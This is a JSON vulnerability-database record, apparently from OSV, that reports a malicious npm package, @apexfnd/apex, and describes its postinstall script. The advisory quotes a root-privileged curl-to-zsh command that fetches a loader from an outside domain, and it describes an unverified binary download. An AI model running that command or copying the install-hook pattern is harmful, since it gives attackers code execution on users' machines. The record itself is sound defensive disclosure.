{"id":"MAL-2026-11121","revision":"4eaf977cdfca4a80885b158cde9b903f","records":[{"revision":"4eaf977cdfca4a80885b158cde9b903f","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-11121","aliases":[],"title":"Malicious code in @apexfnd/apex (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1)\nThe npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run `curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh` with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from `https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>`, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.\n","state":0,"publishedAt":"2026-07-28T13:35:21+00:00","modifiedAt":"2026-08-05T13:35:07.1295131+00:00","affected":[{"ecosystem":"npm","name":"@apexfnd/apex","ranges":[],"versions":["1.0.0","1.0.1","1.0.3","1.0.4"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@apexfnd/apex/v/1.0.0","https://www.npmjs.com/package/@apexfnd/apex/v/1.0.1","https://www.npmjs.com/package/@apexfnd/apex/v/1.0.3","https://www.npmjs.com/package/@apexfnd/apex/v/1.0.4"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-11121","license":"OSV · upstream source license applies","key":"osv:MAL-2026-11121","identifiers":["MAL-2026-11121"]},"retained":false,"historicalAffected":[]}],"coverage":[]}